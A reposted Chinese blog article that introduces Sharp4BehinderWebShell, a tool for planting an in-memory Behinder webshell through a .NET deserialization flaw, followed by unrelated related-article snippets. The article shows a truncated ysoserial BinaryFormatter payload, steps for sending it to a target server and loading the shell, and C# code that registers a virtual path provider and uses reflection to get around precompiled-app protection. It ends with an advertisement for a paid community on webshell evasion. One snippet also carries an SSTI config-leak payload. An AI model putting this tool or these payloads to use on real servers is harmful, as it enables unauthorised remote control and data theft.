.NET 一款反序列化打入冰蝎内存马的工具

news2024/9/19 10:42:41

01阅读须知

此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面

02基本介绍

Sharp4BehinderWebShell 是一款利用.NET反序列化漏洞向内存中植入冰蝎WebShell的工具。通过这种方式,可以使用冰蝎客户端连接内存马获取WebShell,并且支持在.NET预编译环境下使用。以下是对该工具的详细介绍,包括其使用方法和代码解释。

图片

03使用方法

使用ysoserial生成冰蝎内存马的反序列化攻击负载,用于触发漏洞部分。以下是一个通过BinaryFormatter触发反序列化漏洞的示例负载,由于比较长此处仅展示一部分内容。

AAEAAAD/AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdG.........................

接着,将生成的反序列化攻击负载通过POST请求发送到目标服务器,触发.NET反序列化漏洞,成功后即植入冰蝎内存马。访问以下URL即可加载WebShell:

http://localhost:51448/fakepath31337/{0}.aspx

此处的fakepath31337路径可以自定义,通过修改Poc里的参数即可,其中{0}表示占位符,可以替换成任意字符,比如请求 /fakepath31337/36.aspx

图片

上图中没有出现异常错误,随后,通过冰蝎客户端成功连接到内存马,执行命令如下图所示

图片

04编码实现

Sharp4BehinderWebShell 主要通过注册自定义的虚拟路径提供程序(VirtualPathProvider)并结合反序列化攻击负载,实现对目标服务器的控制。首先该类继承自 System.Web.Hosting.VirtualPathProvider,用于注册虚拟路径提供程序,重写其方法以提供自定义路径和文件内容。

public class SamplePathProvider : System.Web.Hosting.VirtualPathProvider
{
    private string _virtualDir;
    private string _fileContent;

    public SamplePathProvider(string virtualDir, string fileContent)
      : base()
    {
        _virtualDir = "/" + virtualDir.Replace(@"\", "/");
        _virtualDir = _virtualDir.Replace("//", "/").TrimEnd('/');

        // 初始化文件内容
        _fileContent = fileContent;
    }

    protected override void Initialize()
    {
        // 初始化操作,可以在这里添加自定义逻辑
    }
}

接着,该SampleVirtualFile类继承自 System.Web.Hosting.VirtualFile,用于表示虚拟文件,并提供文件内容,具体代码如下所示。

public class SampleVirtualFile : System.Web.Hosting.VirtualFile
{
    private string _fileContent;

    public bool Exists => true;

    public SampleVirtualFile(string virtualPath, string fileContent)
      : base(virtualPath)
    {
        // 初始化文件内容
        _fileContent = fileContent;
    }

    public override System.IO.Stream Open()
    {
        return new System.IO.MemoryStream(System.Text.Encoding.UTF8.GetBytes(_fileContent));
    }
}

同时,工具通过反射修改 System.Web.Compilation.BuildManager 类的私有字段,动态关闭预编译设置。如下所示。

if (System.Web.Compilation.BuildManager.IsPrecompiledApp)
{
    var typeBuildManager = typeof(System.Web.Compilation.BuildManager);
    var field_theBuildManager = typeBuildManager.GetField("_theBuildManager", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
    var field_isPrecompiledAppComputed = typeBuildManager.GetField("_isPrecompiledAppComputed", System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic);
    var field_isPrecompiledApp = typeBuildManager.GetField("_isPrecompiledApp", System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic);

    var field_theBuildManager_instance = field_theBuildManager.GetValue(null);
    var field_isPrecompiledAppComputed_oldValue = field_isPrecompiledAppComputed.GetValue(field_theBuildManager_instance);
    var field_isPrecompiledApp_oldValue = field_isPrecompiledApp.GetValue(field_theBuildManager_instance);

    field_isPrecompiledAppComputed.SetValue(field_theBuildManager_instance, true);
    field_isPrecompiledApp.SetValue(field_theBuildManager_instance, false);

    // 注册自定义的 VirtualPathProvider
    System.Web.Hosting.HostingEnvironment.RegisterVirtualPathProvider(sampleProvider);
    field_isPrecompiledAppComputed.SetValue(field_theBuildManager_instance, field_isPrecompiledAppComputed_oldValue);
    field_isPrecompiledApp.SetValue(field_theBuildManager_instance, field_isPrecompiledApp_oldValue);
}

这里,通过 Compilation.BuildManager.IsPrecompiledApp 检查应用是否为预编译,最后,RegisterVirtualPathProvider(sampleProvider) 注册自定义的虚拟路径提供程序。

Sharp4BehinderWebShell 提供了一种利用.NET反序列化漏洞向内存中植入冰蝎WebShell的手段,可以绕过.NET预编译环境的限制,实现对目标系统的控制。

05.NET安全星球

星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。

图片

图片

20+个专题栏目涵盖了点、线、面、体等知识面,助力师傅们快速成长!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。

图片

图片

我们倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。

图片

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1970241.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

用Python编写你的网络监控系统详解

概要 在现代网络管理中,实时监控网络流量和状态是保证网络正常运行的关键。使用Python编写网络监控工具可以帮助管理员及时发现和解决网络问题。本文将详细介绍如何使用Python编写网络监控工具,包括基本概念、常用库及其应用场景,并提供相应的示例代码。 网络监控的基本概念…

nginx反向代理严重错误[crit] (13: Permission denied) while reading upstream问题

nginx作为使用最广泛的一款反向代理软件,其性能也是非常优秀的,一般情况下,直接配置就可以使用,而且也都是稳定高效的,但是在实际应用中,对于不同的应用场景,总是会出现各种各样的问题&#xff…

nanopc-t4线刷Android10编译源码

文章目录 windows线刷Linux编译一撸到底核心编译命令最终Image目录源码和刷机工具放一个目录下线刷走一波,不能有任何报错windows线刷 https://www.myteamcloud.top/?p=266 Linux编译一撸到底 https://blog.csdn.net/wb4916/article/details/134911430 核心编译命令 ./b…

全网首创!基于GaitSet的一种多人步态识别方法公示

有源代码V细聊,可商用/私用/毕设等:NzqDssm16 🍉1 绪论 经过相关研究确认,步态识别是足以达到应用级别的生物识别技术,在现代社会中自始至终都存在着广泛的应用前景。之所以迟迟没有普及,主要是实…

docker配置阿里镜像加速器

‌阿里云镜像加速的核心功能是通过提供官方的镜像站点,加速官方镜像的下载。使用容器时,由于网络原因,下载‌Docker官方镜像可能会需要很长时间,甚至下载失败。阿里云容器镜像服务‌ACR(阿里云容器仓库)为此…

智慧大楼信息化一体化管理整体建设设计方案(可编辑80页PPT)

随着信息技术的飞速发展,智慧大楼已成为现代城市建设的重要趋势。本项目旨在通过信息化一体化管理整体建设设计方案,将大楼内的各个系统进行有机整合,实现智能化、高效化的管理与服务。通过该方案,我们期望提升大楼的运营效率、安…

【网络基础】初识网络 {计算机网络背景;网络协议初识;网络传输基本流程;网络中的地址管理;网络设备简单介绍}

一、计算机网络背景 1.1 网络发展 计算机网络的发展可以追溯到20世纪60年代,那时候最初的计算机网络只是为了让科学家们能够共享计算机资源和数据。但是在20世纪80年代,互联网的出现彻底改变了计算机网络的面貌,使得人们可以随时随地通过互…

昇思25天学习打卡营第XX天|Vision Transformer图像分类

好了👌到我最熟悉的模型了,苦苦缠斗几个月呜呜呜 CLIP预训练数据集薄纱了,这个对齐的思路很好,但是对文本图像长度限制更高,作者很可惜

详细分析nohup后台运行命令

目录 1. 基本知识2. Demo 1. 基本知识 Unix/Linux 命令,用于在后台运行程序,并确保它在用户退出或注销后继续运行 nohup 的主要作用是使程序在终端会话结束后继续运行,这对需要长时间执行的任务特别有用 基本的用法如下: nohu…

计算机网络课程介绍

计算机网络课程的核心内容与应用,涵盖多个关键协议与技术的深入理解,旨在全面培养学生的网络设计、分析及实际操作能力。以下是对该课程的严谨阐述: 一、课程核心原理与应用 本课程详尽阐述了IP协议簇的基本原理与应用,具体涵盖I…

Github 2024-08-02Java开源项目日报 Top9

根据Github Trendings的统计,今日(2024-08-02统计)共有9个项目上榜。根据开发语言中项目的数量,汇总情况如下: 开发语言项目数量Java项目9Vue项目1Ruby项目1Java设计模式:提高开发效率的正规化实践 创建周期:3572 天开发语言:Java协议类型:OtherStar数量:86766 个Fork数…

ECCV 2024 | 深入探索GAN先验,哈工大、清华提出模型反演新方案

介绍 模型反演(MI)攻击的目的是利用输出信息从已发布的模型中重建隐私敏感的训练数据,这引起了人们对深度神经网络(DNNs)安全性的广泛关注。近年来,生成对抗网络(GANs)因其强大的图像…

4.Rabbon-微服务负载均衡

Rabbon-微服务负载均衡 1.Ribbon是什么1.1 基本概念1.2 主要功能1.3 负载均衡流程1.4 负载均衡策略 2.Ribbon如何使用2.1 基于配置文件的配置:2.2 基于注解的配置: 1.Ribbon是什么 Ribbon是Netflix发布的一个负载均衡器,它主要用于控制HTTP和…

PT4103B23F 白光LED升压转换器芯片IC

一般概述 PT4103是一款升压型DC/DC转换器,设计用于以恒流方式驱动单个锂离子电池中的多达8个串联的白光LED。由于PT4103直接调节输出电流,因此它非常适合驱动发光二极管(LED),其光强度与流经它们的电流成正比,而不是与它们…

Bugku-Web篇:Simple_SSTI_1

1.很简单的模板注入,直接f12查看源代码。 2.这里了解了一下什么是模板注入 这里针对的是flask模板,config是flask模板中的一个全局对象。包含了所有应用程序的配置值。 这里直接在url中写上 ?flag{{config.SECRET_KEY}}

力扣第四十八题——旋转图像

内容介绍 给定一个 n n 的二维矩阵 matrix 表示一个图像。请你将图像顺时针旋转 90 度。 你必须在 原地 旋转图像,这意味着你需要直接修改输入的二维矩阵。请不要 使用另一个矩阵来旋转图像。 示例 1: 输入:matrix [[1,2,3],[4,5,6],[7,8,9…

初识c++:stack和queue详解

本节大纲: #stack和queue详解# 1.容器适配器 2.stack的介绍和使用 2.1 stack的介绍 2.2 stack的使用 3.stack的模拟实现 4.queue的介绍和使用 4.1 queue的介绍 4.2 queue的使用 5.queue的模拟实现 6.priority_queue的介绍和使用 6.1 priority_queue的介绍…

什么是docker?小白也能看懂!

👏大家好!我是和风coding,希望我的文章能给你带来帮助! 🔥如果感觉博主的文章还不错的话,请👍三连支持👍一下博主哦 📝点击 我的主页 还可以看到和风的其他内容噢&#x…

什么是低代码?低代码开发和零代码开发的区别?

随着数字化时代的到来,企业对于软件开发的需求日益增长。为了提高开发效率和降低成本,越来越多的企业开始关注低代码和零代码平台,为没有编程背景的用户提供了创建应用程序的能力,极大地简化了开发过程。本文将什么是低代码&#…

企业实现数字化转型到底靠什么?5分钟给你讲明白数字化管理!

在数字化浪潮的推动下,企业数字化转型已不再是选择题,而是企业生存和发展的必答题。各种企业纷纷投入资源,采购各类数字化工具,希望能够借此步入数字化的大门。但是,是不是只要全面升级数字化工具,数字化转…